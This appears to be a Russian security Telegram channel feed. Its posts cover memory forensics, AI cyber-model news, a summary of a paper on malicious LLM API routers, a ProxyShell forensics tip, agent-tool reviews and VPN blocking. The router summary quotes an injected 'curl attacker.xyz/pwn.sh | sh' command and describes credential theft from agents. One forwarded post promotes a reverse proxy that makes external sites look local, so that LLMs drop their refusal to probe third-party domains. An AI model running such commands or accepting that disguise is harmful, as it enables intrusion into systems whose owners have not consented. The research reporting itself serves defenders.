После этого получаем корректный вывод
❯ python tools/volatility3/vol.py -f evidence/extracted/memory_dump/avml.lime linux.pslist.PsList
Volatility 3 Framework 2.28.1
Progress: 100.00 Stacking attempts finished
OFFSET (V) PID TID PPID COMM UID GID EUID EGID CREATION TIME File output
0x8c7cc0281980 1 1 0 systemd 0 0 0 0 2026-03-24 23:22:59.055213 UTC Disabled
0x8c7cc0280000 2 2 0 kthreadd 0 0 0 0 2026-03-24 23:22:59.055213 UTC Disabled
0x8c7cc0284c80 3 3 2 pool_workqueue_ 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
0x8c7cc0286600 4 4 2 kworker/R-kvfre 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
0x8c7cc0283300 5 5 2 kworker/R-rcu_g 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
0x8c7cc02a6600 6 6 2 kworker/R-sync_ 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
0x8c7cc02a3300 7 7 2 kworker/R-slub_ 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
0x8c7cc02a1980 8 8 2 kworker/R-netns 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
0x8c7cc02a4c80 10 10 2 kworker/0:1 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
0x8c7cc02e6600 11 11 2 kworker/0:0H 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
0x8c7cc02e3300 12 12 2 kworker/u16:0 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
0x8c7cc02e1980 13 13 2 kworker/R-mm_pe 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
0x8c7cc02e0000 14 14 2 rcu_tasks_kthre 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
0x8c7cc02e4c80 15 15 2 rcu_tasks_rude_ 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
0x8c7cc02ecc80 16 16 2 rcu_tasks_trace 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
0x8c7cc02ee600 17 17 2 ksoftirqd/0 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
А теперь десерт.
Задача преобразования символов ядра в ISF для volatility достаточно понятная и ее можно автоматизировать, что уже сделано.
Например, абсолютно то же самое можно найти в открытых репо , и не заниматься упражнениями выше.
Но все еще у нас остается как минимум два кейса, где это не поможет:
1. Наши отечественные дистрибутивы
2. Закрытые дистрибутивы
В таких случаях можно утащить с собой при триаже:
- /boot/vmlinuz-<version>
- /boot/System.map-<version>
- /lib/modules/<version>/
GitHub
volatility3-symbols/Debian/amd64/6.12.74+deb13+1 at master · Abyss-W4tcher/volatility3-symbols
Collection of Linux and macOS Volatility3 Intermediate Symbol Files (ISF), suitable for memory analysis 🔍 - Abyss-W4tcher/volatility3-symbols
🔥3🦄2
Forwarded from ИИ для бизнеса / Михаил Ларькин
Новая модель Anthropic нашла тысячи уязвимостей в ОС и браузерах
В Anthropic утверждают, что новая, ещё не вышедшая модель Claude Mythos, за несколько дней нашла тысячи zero-day уязвимостей во всех основных операционных системах и браузерах. И всё это почти полностью автономно, без управления со стороны людей.
Примеры найденного Mythos:
— 27-летняя уязвимость в OpenBSD (одной из самых защищённых ОС в мире), позволяющая удалённо «уронить» любую машину простым подключением к ней
— 16-летняя уязвимость в FFmpeg (используется почти всем софтом для работы с видео) — в строке кода, которую автоматические тесты проверяли 5 миллионов раз и ни разу не поймали
— Цепочка уязвимостей в ядре Linux, позволяющая получить полный контроль над сервером
В Anthropic понимают, что AI уже способен находить и эксплуатировать уязвимости на уровне лучших специалистов. Скоро эти возможности будут у всех, включая тех, кто не собирается использовать их во благо.
Чтобы дать защитникам фору, Anthropic запустил инициативу Project Glasswing. Более 40 компаний получили доступ к Mythos Preview и 100 миллионов долларов в usage credits. В списке AWS, Apple, Google, Microsoft, NVIDIA и другие. Они смогут использовать Mythos для поиска и закрытия уязвимостей в собственной инфраструктуре до того, как модели такого уровня попадут в руки злоумышленников.
https://www.anthropic.com/glasswing
В Anthropic утверждают, что новая, ещё не вышедшая модель Claude Mythos, за несколько дней нашла тысячи zero-day уязвимостей во всех основных операционных системах и браузерах. И всё это почти полностью автономно, без управления со стороны людей.
Примеры найденного Mythos:
— 27-летняя уязвимость в OpenBSD (одной из самых защищённых ОС в мире), позволяющая удалённо «уронить» любую машину простым подключением к ней
— 16-летняя уязвимость в FFmpeg (используется почти всем софтом для работы с видео) — в строке кода, которую автоматические тесты проверяли 5 миллионов раз и ни разу не поймали
— Цепочка уязвимостей в ядре Linux, позволяющая получить полный контроль над сервером
В Anthropic понимают, что AI уже способен находить и эксплуатировать уязвимости на уровне лучших специалистов. Скоро эти возможности будут у всех, включая тех, кто не собирается использовать их во благо.
Чтобы дать защитникам фору, Anthropic запустил инициативу Project Glasswing. Более 40 компаний получили доступ к Mythos Preview и 100 миллионов долларов в usage credits. В списке AWS, Apple, Google, Microsoft, NVIDIA и другие. Они смогут использовать Mythos для поиска и закрытия уязвимостей в собственной инфраструктуре до того, как модели такого уровня попадут в руки злоумышленников.
https://www.anthropic.com/glasswing
🔥1🦄1
Прикольно, теперь и OpenAI выпустит свою модель, специализированную на кибербезе и даст его только компаниям, входящим в "белые списки".
https://archive.ph/o5rKu
В сети много исследований, что большие классные модели, типа GPT Pro и Opus, при корректной настройке, решают задачи кибербеза лучше, чем натренированные на это модели. Тот случай, когда размер имеет значение.
И вот тут интересная история. Если generic модели и так лучше, что будет, если гиганты ИИ начнут выпускать специализированные модели...
А отсюда вывод еще интереснее. После этого можно разделить потребителей на 3 типа:
1️⃣ Кто не пользуется ИИ
2️⃣ Кто пользуется Generic моделями
3️⃣ У кого есть доступ к frontier моделям ( тот же Mythos или новая модель OpenAI)
Разрыв между 1 и 2 категорией уже колоссальный, а разрыв между 1 и 3 категорией будет, ну я не знаю.
То есть если развить геополитически, вот есть наши "опоненты", которые ломают наши системы ВКС и CMS (без конкретных имен). Доступ к уровню 3 им будет давать просто потрясающие возможности для поиска новых точек входа с невероятной скоростью.
А, благодаря усилиям наших властей и бюрократии, противостоять этому будут ребята на уровне 1. Как-то нечестно получается =(
Поэтому о таких угрозах нужно думать уже сейчас и пытаться придумать меры митигации для эксплойт врайтера 99 уровня с той стороны.
https://archive.ph/o5rKu
В сети много исследований, что большие классные модели, типа GPT Pro и Opus, при корректной настройке, решают задачи кибербеза лучше, чем натренированные на это модели. Тот случай, когда размер имеет значение.
И вот тут интересная история. Если generic модели и так лучше, что будет, если гиганты ИИ начнут выпускать специализированные модели...
А отсюда вывод еще интереснее. После этого можно разделить потребителей на 3 типа:
1️⃣ Кто не пользуется ИИ
2️⃣ Кто пользуется Generic моделями
3️⃣ У кого есть доступ к frontier моделям ( тот же Mythos или новая модель OpenAI)
Разрыв между 1 и 2 категорией уже колоссальный, а разрыв между 1 и 3 категорией будет, ну я не знаю.
То есть если развить геополитически, вот есть наши "опоненты", которые ломают наши системы ВКС и CMS (без конкретных имен). Доступ к уровню 3 им будет давать просто потрясающие возможности для поиска новых точек входа с невероятной скоростью.
А, благодаря усилиям наших властей и бюрократии, противостоять этому будут ребята на уровне 1. Как-то нечестно получается =(
Поэтому о таких угрозах нужно думать уже сейчас и пытаться придумать меры митигации для эксплойт врайтера 99 уровня с той стороны.
archive.ph
OpenAI eyes staggered rollout of new model over cybersecurity risk
archived 9 Apr 2026 09:53:34 UTC
👍2🦄2
Наткнулся на свежую работу.
Называется "Your Agent Is Mine". Тема — LLM API routers как вектор атаки на supply chain.
Немного контекста. Большинство production инсталляций агентов не ходят напрямую к OpenAI или Anthropic. Между клиентом и моделью стоит один или несколько роутеров — прокси-сервисов, которые принимают запрос, выбирают провайдера, возвращают ответ. Как пример: LiteLLM, OpenRouter, плюс тысячи commodity-роутеров на Taobao и Xianyu для рынков, где прямой доступ к API ограничен или дорог (кстати очень актуально, в связи с последними событиями, и в России).
Архитектурная проблема в том, что каждый такой роутер терминирует TLS-сессию с обеих сторон (Б-безопасность). Полный plaintext-доступ к system prompt, tool definitions, tool-call responses, API-ключам. И никакого end-to-end integrity между клиентом и моделью не существует в принципе. Роутер может прочитать, подменить или сфабриковать любой tool-call payload — и никто не заметит.
Авторы формализовали 4 класса атак.
1️⃣ AC-1 - подмена tool-call ответа модели (например, URL установщика меняется на
2️⃣ AC-2 - пассивная кража credentials и API-ключей транзитом.
Плюс два адаптивных варианта:
3️⃣ AC-1.a - подмена только для Rust/Go проектов
4️⃣ AC-1.b - payload, который доставляется только после N запросов или исключительно в сессиях с auto-approved tool execution — YOLO mode.
А теперь самое интересное — они пошли и проверили это в дикой природе. Купили 28 платных роутеров и собрали 400 бесплатных из публичных сообществ.
Результат:
- 1 платный и 8 бесплатных активно инжектят malicious code в tool-call ответы.
- 2 роутера используют adaptive evasion.
- 17 роутеров потрогали researcher-owned AWS canary credentials.
- Один роутер слил ETH с исследовательского приватного ключа.
А дальше они решили поиграть в разведку. Авторы намеренно слили один OpenAI-ключ в китайские форумы и Telegram-группы. Этот один ключ сгенерировал 100M токенов GPT-5.4 и 7+ Codex-сессий. Параллельно они подняли слабо сконфигурированные decoy-роутеры на 20 доменах. Через них прошло 2B токенов, утекло 99 credentials(!!!) из 440 Codex-сессий на 398 разных проектах. Из 440 сессий — 401 уже работала в YOLO mode (и снова, Б-Безопасность). Любой инжект — и агент выполнит что угодно.
И что же с этим всем делать??? подумал я и скажете вы.
Авторы предлагают три client-side меры:
1. fail-closed policy gate (блокирует shell-rewrite паттерны, 1% false positives). По сути, просто отсекать то, что мы считаем нелегитимным.
2. аномальный скрининг на стороне ответа (89% детект без изменений у провайдера). То есть мы сразу после запроса сами строим ожидание того, что должно быть в ответе. И если ожидание и реальность не сходится (как обычно это бывает), то тригерим аномалию.
3. append-only transparency logging. По сути просто нередактируемый журнал всех запросов-ответов для ретроспективы.
Очевидно, что это лишь лечение симптомов и врятли спасет от атаки, в чем авторы также признаются. Фундаментально закрыть это можно только provider-backed response integrity, то есть криптографической привязкой tool-call output к тому, что реально сгенерировала модель. Фактически, это просто борьба с митм атакой посредством подписи на стороне клиента и провайдера LLM. Пока этого нет ни у кого.
В интересном мире мы живем, технологии новые, а атаки старые.
Называется "Your Agent Is Mine". Тема — LLM API routers как вектор атаки на supply chain.
Немного контекста. Большинство production инсталляций агентов не ходят напрямую к OpenAI или Anthropic. Между клиентом и моделью стоит один или несколько роутеров — прокси-сервисов, которые принимают запрос, выбирают провайдера, возвращают ответ. Как пример: LiteLLM, OpenRouter, плюс тысячи commodity-роутеров на Taobao и Xianyu для рынков, где прямой доступ к API ограничен или дорог (кстати очень актуально, в связи с последними событиями, и в России).
Архитектурная проблема в том, что каждый такой роутер терминирует TLS-сессию с обеих сторон (Б-безопасность). Полный plaintext-доступ к system prompt, tool definitions, tool-call responses, API-ключам. И никакого end-to-end integrity между клиентом и моделью не существует в принципе. Роутер может прочитать, подменить или сфабриковать любой tool-call payload — и никто не заметит.
Авторы формализовали 4 класса атак.
1️⃣ AC-1 - подмена tool-call ответа модели (например, URL установщика меняется на
curl attacker.xyz/pwn.sh | sh). 2️⃣ AC-2 - пассивная кража credentials и API-ключей транзитом.
Плюс два адаптивных варианта:
3️⃣ AC-1.a - подмена только для Rust/Go проектов
4️⃣ AC-1.b - payload, который доставляется только после N запросов или исключительно в сессиях с auto-approved tool execution — YOLO mode.
А теперь самое интересное — они пошли и проверили это в дикой природе. Купили 28 платных роутеров и собрали 400 бесплатных из публичных сообществ.
Результат:
- 1 платный и 8 бесплатных активно инжектят malicious code в tool-call ответы.
- 2 роутера используют adaptive evasion.
- 17 роутеров потрогали researcher-owned AWS canary credentials.
- Один роутер слил ETH с исследовательского приватного ключа.
А дальше они решили поиграть в разведку. Авторы намеренно слили один OpenAI-ключ в китайские форумы и Telegram-группы. Этот один ключ сгенерировал 100M токенов GPT-5.4 и 7+ Codex-сессий. Параллельно они подняли слабо сконфигурированные decoy-роутеры на 20 доменах. Через них прошло 2B токенов, утекло 99 credentials(!!!) из 440 Codex-сессий на 398 разных проектах. Из 440 сессий — 401 уже работала в YOLO mode (и снова, Б-Безопасность). Любой инжект — и агент выполнит что угодно.
И что же с этим всем делать??? подумал я и скажете вы.
Авторы предлагают три client-side меры:
1. fail-closed policy gate (блокирует shell-rewrite паттерны, 1% false positives). По сути, просто отсекать то, что мы считаем нелегитимным.
2. аномальный скрининг на стороне ответа (89% детект без изменений у провайдера). То есть мы сразу после запроса сами строим ожидание того, что должно быть в ответе. И если ожидание и реальность не сходится (как обычно это бывает), то тригерим аномалию.
3. append-only transparency logging. По сути просто нередактируемый журнал всех запросов-ответов для ретроспективы.
Очевидно, что это лишь лечение симптомов и врятли спасет от атаки, в чем авторы также признаются. Фундаментально закрыть это можно только provider-backed response integrity, то есть криптографической привязкой tool-call output к тому, что реально сгенерировала модель. Фактически, это просто борьба с митм атакой посредством подписи на стороне клиента и провайдера LLM. Пока этого нет ни у кого.
В интересном мире мы живем, технологии новые, а атаки старые.
🔥1🦄1
Всегда восхищался пентестерами. Иногда эти ребята придумают такой подход, о котором ты даже никогда и не подумаешь. Вместо того, чтобы придумывать хитрые обходы guardrail и промты, запутывающие llm, просто говоришь, что это мой локальный сайт и все, а дальше делаешь proxy наружу. Красиво.
⚡1🦄1
Forwarded from Омский багхантер
Навайбкодил Reverse Proxy для локального проксирования внешних сайтов в виде локальных доменов.
Прокси находится между браузером и реальным сайтом. Каждый запрос на локальный IP/домен автоматически маппится на внешний hostname и port, а ответы переписываются обратно в локальный origin. Редиректы, cookie, заголовки, HTML, JS, JSON и другие текстовые ресурсы подменяются на лету. Поддерживаются сабдомены (вайлдкард по домену), HTTPS, WebSocket и проксирование трафика в Burp Suite прокси (как до подмены на оригинальный hostname, так и после).
Штука очень удобна тем, что она обходит ограничение внешних LLM-ок на вайбхантинг (в этичных целях разумеется). К примеру, если просто в лоб написать чатгпт "Я багхантер, а давай найдем уязвимости в example.com", то нейронка скажет, что не может тестировать внешние домены из соображений безопасности, нужно придумывать промпты для обхода. А так как домен в случае прокси локальный, то нейронка считает, что сайт поднят также локально, поэтому начинает его исследовать без лишних вопросов.
Прокси находится между браузером и реальным сайтом. Каждый запрос на локальный IP/домен автоматически маппится на внешний hostname и port, а ответы переписываются обратно в локальный origin. Редиректы, cookie, заголовки, HTML, JS, JSON и другие текстовые ресурсы подменяются на лету. Поддерживаются сабдомены (вайлдкард по домену), HTTPS, WebSocket и проксирование трафика в Burp Suite прокси (как до подмены на оригинальный hostname, так и после).
Штука очень удобна тем, что она обходит ограничение внешних LLM-ок на вайбхантинг (в этичных целях разумеется). К примеру, если просто в лоб написать чатгпт "Я багхантер, а давай найдем уязвимости в example.com", то нейронка скажет, что не может тестировать внешние домены из соображений безопасности, нужно придумывать промпты для обхода. А так как домен в случае прокси локальный, то нейронка считает, что сайт поднят также локально, поэтому начинает его исследовать без лишних вопросов.
GitHub
GitHub - artebels/local-domain-proxy: Local reverse proxy for mapping external websites to a local domain with response rewriting…
Local reverse proxy for mapping external websites to a local domain with response rewriting, HTTPS, subdomain support, WebSocket proxying, and optional Burp integration. - artebels/local-domain-proxy
👍2
incident_report_final.pdf
656.5 KB
Подписчики канала заметят, что я немного хайплю на теме LLM. И не просто так. Давеча я уже писал про применение llm в реверсе (статическом анализе). Но в этой сфере я не эксперт, поэтому пойдем далее.
А что если научить LLM в DFIR, подумал я. Как мы знаем, dfir - область чувствительная и с достаточно большим (огромным) контекстом. И просто так натравить LLM на артефакты не выйдет. Здесь нет простого решения вроде IDA Pro, которая подходит для большинства бинарных файлов, все артефакты разные, системы разные, все разное.
К этому всему еще добавляется опыт, методологии, фреймворки и бла бла бла...
Но если всем этим не заморачиваться и дать YOLO mode для llm, что у нас получится?
Недавно, один из заокеанских экспертов выложил челендж по linux форензике. Про него мне рассказала моя знакомая, за что ей спасибо (Аня, передаю привет, я в телевизоре). Так как челендж уже закончен, можно кидать спойлеры. Внутри архив с UAC+memory dump.
Я сделал мультиагентную систему, которая провела полное расследование кейса, среди ролей были: дфир спец, реверс, verifier и report writer. Все это было через внутренние модели, без frontier opus 4.6 (уже 4.7) или GPT Pro.
В приложении я прикладываю финальный отчет агента по этому кейсу. Этот анализ не претендует на полноту или на абсолютную точность. Но можно согласиться, что выглядит очень круто.
У этой системы есть очень много узких мест, в которые она упиралась и упирается, над чем я сейчас и работаю.
Как доведу до какого-то персистентного состояния - обязательно расскажу.
А что если научить LLM в DFIR, подумал я. Как мы знаем, dfir - область чувствительная и с достаточно большим (огромным) контекстом. И просто так натравить LLM на артефакты не выйдет. Здесь нет простого решения вроде IDA Pro, которая подходит для большинства бинарных файлов, все артефакты разные, системы разные, все разное.
К этому всему еще добавляется опыт, методологии, фреймворки и бла бла бла...
Но если всем этим не заморачиваться и дать YOLO mode для llm, что у нас получится?
Недавно, один из заокеанских экспертов выложил челендж по linux форензике. Про него мне рассказала моя знакомая, за что ей спасибо (Аня, передаю привет, я в телевизоре). Так как челендж уже закончен, можно кидать спойлеры. Внутри архив с UAC+memory dump.
Я сделал мультиагентную систему, которая провела полное расследование кейса, среди ролей были: дфир спец, реверс, verifier и report writer. Все это было через внутренние модели, без frontier opus 4.6 (уже 4.7) или GPT Pro.
В приложении я прикладываю финальный отчет агента по этому кейсу. Этот анализ не претендует на полноту или на абсолютную точность. Но можно согласиться, что выглядит очень круто.
У этой системы есть очень много узких мест, в которые она упиралась и упирается, над чем я сейчас и работаю.
Как доведу до какого-то персистентного состояния - обязательно расскажу.
🔥4🍓1🦄1
Немного DFIR staff
А вы знали, что в 2026 все еще ломают через ProxyShell?
Если вы тоже столкнетесь с такой ситуацией, то, вероятно, увидите не один и не два веб шела.
В этом случае интересно восстановить, с какой интенсивностью и как часто пробивали сервер.
Но многих файлов может уже не быть, логи затерты, следов не осталось. В таком случае можно пойти и посмотреть:
-
Внутри будет либо скомпилированный код, либо просто кеш используемых NET модулей. Важно, что здесь данные появятся только при исполнении кода, в случае с веб-шеллом - при первом обращении к нему.
Так, я смог восстановить информацию, что шелы были и в 2022 году на этом сервере, хотя ни логов, ни самих шелов уже давно нет.
А вы знали, что в 2026 все еще ломают через ProxyShell?
Если вы тоже столкнетесь с такой ситуацией, то, вероятно, увидите не один и не два веб шела.
В этом случае интересно восстановить, с какой интенсивностью и как часто пробивали сервер.
Но многих файлов может уже не быть, логи затерты, следов не осталось. В таком случае можно пойти и посмотреть:
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\e22c2559\92c7e946\Внутри будет либо скомпилированный код, либо просто кеш используемых NET модулей. Важно, что здесь данные появятся только при исполнении кода, в случае с веб-шеллом - при первом обращении к нему.
Так, я смог восстановить информацию, что шелы были и в 2022 году на этом сервере, хотя ни логов, ни самих шелов уже давно нет.
👍3🦄1
Заметки на полях вайбкодинга.
Вообще я по жизни не программист, но в ходе своего профессионального и личного развития часто сталкивался с написанием скриптов, автоматизациями и в целом анализом кода (было время - фаззил PostgreSQL даже и анализировал уязвимости в ядре Linux). В итоге это сформировало общее понимание написания хорошего кода и устойчивых систем без самого навыка, ну может быть чуть-чуть.
Начиная с момента, когда я начал программировать, я написал сам десятки-сотни тысяч строк различного кода, но начиная с начала 2026 года я отдал мейнтейнить свои системы агентам. Где-то это открытые ллм, где-то внутри контура, но код я сам писать перестал вообще, кроме каких-то узких ситуаций.
Опущу свои восторженные нахваливания ИИ в этом вопросе (поверьте, если ставить правильно задачу и вы не senior software engineer - то LLM пишет код лучше вас), и остановлюсь на своем опыте использования двух frontier продуктов Codex и Claude Code с точки зрения человека, разрабатывающего различные продукты и в ИБ и в ИТ сейчас, но не являющегося программистом.
Мои впечатления
Codex
Сразу бросается в глаза что Codex - это продукт для масс. Очень много коннекторов, графический интерфейс, мини браузер прям в приложении, возможность выбора темы, интеграция с приложениями на десктопе и так далее. Это все создает очень большую вариативность по сценариям использования и выглядит понятно для обывателя.
Вместе с тем есть и огрехи: отображение оставшегося количества токенов не всегда интуитивное, иногда вообще неясно, что делает llm с кодом (как-то непонятно, какие изменения вносятся), иногда модель тупит с просто чтением веб страницы, пытается выполнить скрепинг через curl или urllib. Контекста только 256 тысяч, но сохраняет его неплохо между переполнением. Не очень хорошо работает со скиллами и агентами. Для их применения нужно прямо напрямую просить, сам агент до этого не доходит (может нужно усилить общий промт для проекта).
По качеству кода у меня нет вопросов. Еще мне не хватило, чтобы модель сама автоматом распознала, когда нужно переключиться в режим плана, а когда сразу делать.
Еще минус что в Codex нельзя использовать Pro модель Chatgpt ни при каких подписках, это немного расстроило, потому что иногда хочется натравить Pro модель на какое-то исследование в рамках твоей кодовой базы (или реального инцидента😀 ).
Claude Code
Интерфейс чат бота внутри IDE либо TUI в терминале. Явно не для массового пользователя, а для тех, кто хоть когда-то писал код. Коннекторов из коробки не так много, компьютером управлять не умеет, песочница по умолчанию у него менее ограничения, чем в Codex. Все это компенсируется очень чутким пониманием структуры агентских инструкций и использованием MCP. Мне как человеку, кто писал код и видел код зрелый, сразу понятно, как нужно разложить файлики, что туда написать, какие скилы удобно делать. Сам агент очень удачно распознает, когда какой скил взять и сам предлагает это.
С агентами та же история, что в кодекс, если не вызвать explicit, то их не будет. Код пишет хорошо. Отдельная киллер-фича - контекст на миллион токенов, это просто круто. Иногда у меня создается впечатление, что он все-таки где-то в фоне сжимается, но может я не прав.
По интерфейсу мне все нравится, причем агент именно заточен на написание скиллов по умолчанию и часто сам предлагает такие вещи.
Выводы
Если у вас хороший технический бекграунд (а тут большинство таких, я думаю) - начинайте с Claude Code. Такой подход опасен тем, что к Codex потом не привыкнуть (как вышло у меня в итоге).
Если вы чувствуете себя больше художником - попробуйте Codex, кажется, что для таких задач он более удобен.
А вообще лучше взять и сравнить самому.
Вообще я по жизни не программист, но в ходе своего профессионального и личного развития часто сталкивался с написанием скриптов, автоматизациями и в целом анализом кода (было время - фаззил PostgreSQL даже и анализировал уязвимости в ядре Linux). В итоге это сформировало общее понимание написания хорошего кода и устойчивых систем без самого навыка, ну может быть чуть-чуть.
Начиная с момента, когда я начал программировать, я написал сам десятки-сотни тысяч строк различного кода, но начиная с начала 2026 года я отдал мейнтейнить свои системы агентам. Где-то это открытые ллм, где-то внутри контура, но код я сам писать перестал вообще, кроме каких-то узких ситуаций.
Опущу свои восторженные нахваливания ИИ в этом вопросе (поверьте, если ставить правильно задачу и вы не senior software engineer - то LLM пишет код лучше вас), и остановлюсь на своем опыте использования двух frontier продуктов Codex и Claude Code с точки зрения человека, разрабатывающего различные продукты и в ИБ и в ИТ сейчас, но не являющегося программистом.
Мои впечатления
Codex
Сразу бросается в глаза что Codex - это продукт для масс. Очень много коннекторов, графический интерфейс, мини браузер прям в приложении, возможность выбора темы, интеграция с приложениями на десктопе и так далее. Это все создает очень большую вариативность по сценариям использования и выглядит понятно для обывателя.
Вместе с тем есть и огрехи: отображение оставшегося количества токенов не всегда интуитивное, иногда вообще неясно, что делает llm с кодом (как-то непонятно, какие изменения вносятся), иногда модель тупит с просто чтением веб страницы, пытается выполнить скрепинг через curl или urllib. Контекста только 256 тысяч, но сохраняет его неплохо между переполнением. Не очень хорошо работает со скиллами и агентами. Для их применения нужно прямо напрямую просить, сам агент до этого не доходит (может нужно усилить общий промт для проекта).
По качеству кода у меня нет вопросов. Еще мне не хватило, чтобы модель сама автоматом распознала, когда нужно переключиться в режим плана, а когда сразу делать.
Еще минус что в Codex нельзя использовать Pro модель Chatgpt ни при каких подписках, это немного расстроило, потому что иногда хочется натравить Pro модель на какое-то исследование в рамках твоей кодовой базы (или реального инцидента
Claude Code
Интерфейс чат бота внутри IDE либо TUI в терминале. Явно не для массового пользователя, а для тех, кто хоть когда-то писал код. Коннекторов из коробки не так много, компьютером управлять не умеет, песочница по умолчанию у него менее ограничения, чем в Codex. Все это компенсируется очень чутким пониманием структуры агентских инструкций и использованием MCP. Мне как человеку, кто писал код и видел код зрелый, сразу понятно, как нужно разложить файлики, что туда написать, какие скилы удобно делать. Сам агент очень удачно распознает, когда какой скил взять и сам предлагает это.
С агентами та же история, что в кодекс, если не вызвать explicit, то их не будет. Код пишет хорошо. Отдельная киллер-фича - контекст на миллион токенов, это просто круто. Иногда у меня создается впечатление, что он все-таки где-то в фоне сжимается, но может я не прав.
По интерфейсу мне все нравится, причем агент именно заточен на написание скиллов по умолчанию и часто сам предлагает такие вещи.
Выводы
Если у вас хороший технический бекграунд (а тут большинство таких, я думаю) - начинайте с Claude Code. Такой подход опасен тем, что к Codex потом не привыкнуть (как вышло у меня в итоге).
Если вы чувствуете себя больше художником - попробуйте Codex, кажется, что для таких задач он более удобен.
А вообще лучше взять и сравнить самому.
Please open Telegram to view this post
VIEW IN TELEGRAM
🦄1
Всем доброго послепраздничного утра!
Если вы до сих пор думаете, как красиво обосновать свои KPI перед руководством или ломаете голову, а как же измерять наш результат - вот вам бест практис от регулятора.
Если вы до сих пор думаете, как красиво обосновать свои KPI перед руководством или ломаете голову, а как же измерять наш результат - вот вам бест практис от регулятора.
🦄1
Forwarded from kolomychenko:~$ access_granted
🎯Роскомнадзор должен добиться 92%-й эффективности блокировки VPN – что бы это ни значило =)
Мы уже привыкли, что российские власти особо не утруждают себя даже формальной юридической упаковкой блокировок в Рунете. Например, на каком основании блокируют YouTube или “замедляют” Telegram? Их нет в реестре запрещённых сайтов, публичных решений судов или приказов органов власти тоже нет. С VPN – та же история. Нет ни одного официального документа, в котором бы шла речь о необходимости массовой блокировки VPN.
Но кое-что любопытное я все же нашла.
На сайте Роскомнадзора есть PDF от января этого года – это формальный документ о порядке выдачи субсидии “Главному радиочастотному центру” (ГРЧЦ, подведомственное предприятие РКН). Деньги выделяются “на обеспечение функционирования автоматизированной системы обеспечения безопасности российского сегмента интернета” (АСБИ).
АСБИ — это система, которая управляет ТСПУ, то есть теми самыми техническими средствами противодействия угрозам, с помощью которых Роскомнадзор блокирует любые сайты и сервисы в Рунете.
💸И сам этот документ по сути формальность – он описывает порядок выдачи субсидии, которая уже заложена в бюджете. Согласно закону о федеральном бюджете, на работу АСБИ предусмотрено около 20 млрд рублей в 2026 году и еще столько же в 2027–2028 году суммарно.
А теперь главное – любую субсидию дают на конкретные цели, и результат достижения этих целей нужно как-то измерять. Поэтому при утверждении порядка предоставления субсидии заранее согласовывают конкретные показатели, которых получателю субсидии нужно достичь. И что мы видим в этом документе? К 2030 году ГРЧЦ должен:
И это одна из всего лишь трех задач, под достижение которых выделены все эти деньги. Две остальные - это добиться от ТСПУ скорости обработки трафика в 831 Тбит/с и пропускать через них 98% всего трафика в Рунете.
Не до конца понятно, что именно означают эти 92% эффективности блокировки VPN. Может, процент от всех существующих в магазинах приложений VPN или, например, долю российских пользователей, которые не используют VPN. Остается лишь вопрос, как эти проценты считать - но, думаю, чиновники, которые порой рассуждают о “деградации Telegram на 30%”, справятся=)
При этом четко обозначу сам факт: это первый официальный документ, где прямо зафиксировано, что у подведа Роскомнадзора стоит государственная задача по ограничению VPN — с конкретными KPI и десятками миллиардов рублей на реализацию.
@kolomychenko
Мы уже привыкли, что российские власти особо не утруждают себя даже формальной юридической упаковкой блокировок в Рунете. Например, на каком основании блокируют YouTube или “замедляют” Telegram? Их нет в реестре запрещённых сайтов, публичных решений судов или приказов органов власти тоже нет. С VPN – та же история. Нет ни одного официального документа, в котором бы шла речь о необходимости массовой блокировки VPN.
Но кое-что любопытное я все же нашла.
На сайте Роскомнадзора есть PDF от января этого года – это формальный документ о порядке выдачи субсидии “Главному радиочастотному центру” (ГРЧЦ, подведомственное предприятие РКН). Деньги выделяются “на обеспечение функционирования автоматизированной системы обеспечения безопасности российского сегмента интернета” (АСБИ).
АСБИ — это система, которая управляет ТСПУ, то есть теми самыми техническими средствами противодействия угрозам, с помощью которых Роскомнадзор блокирует любые сайты и сервисы в Рунете.
💸И сам этот документ по сути формальность – он описывает порядок выдачи субсидии, которая уже заложена в бюджете. Согласно закону о федеральном бюджете, на работу АСБИ предусмотрено около 20 млрд рублей в 2026 году и еще столько же в 2027–2028 году суммарно.
А теперь главное – любую субсидию дают на конкретные цели, и результат достижения этих целей нужно как-то измерять. Поэтому при утверждении порядка предоставления субсидии заранее согласовывают конкретные показатели, которых получателю субсидии нужно достичь. И что мы видим в этом документе? К 2030 году ГРЧЦ должен:
— Достичь “среднего уровня эффективности ограничения доступа к средствам обхода блокировок VPN за счёт сигнатур” в 92%.
И это одна из всего лишь трех задач, под достижение которых выделены все эти деньги. Две остальные - это добиться от ТСПУ скорости обработки трафика в 831 Тбит/с и пропускать через них 98% всего трафика в Рунете.
Не до конца понятно, что именно означают эти 92% эффективности блокировки VPN. Может, процент от всех существующих в магазинах приложений VPN или, например, долю российских пользователей, которые не используют VPN. Остается лишь вопрос, как эти проценты считать - но, думаю, чиновники, которые порой рассуждают о “деградации Telegram на 30%”, справятся=)
При этом четко обозначу сам факт: это первый официальный документ, где прямо зафиксировано, что у подведа Роскомнадзора стоит государственная задача по ограничению VPN — с конкретными KPI и десятками миллиардов рублей на реализацию.
@kolomychenko
А как собирать триаж на MacOS?
Я как-то делал ресерч на эту тему, но там тема была скорее "что собрать", а не "как"?
А тут появилась прикладная задача, да еще и не первый раз, избежать ее было трудно)
У меня на столе оказалось меню из двух позиций:
- Популярный velociraptor
- Нативный aftermath
Я использовал velociraptor для Windows и Linux, и там я привык, что конфиг просто вшивается внутрь бинарника и ты спокойно раскидываешь по инфре и собираешь дабл кликом от админа (или судо в терминале).
С MacOS все оказалось не так просто. Как известно, в MacOS есть своя система подписей бинарей. И если у бинаря нет официальной подписи, то он просто так не запустится на вашем компьютере. Это несложно обойти на одной конкретной машине, но обходить это можно только руками (особенно на последних версиях).
Итого как создается сборщик для MacOS в velociraptor?
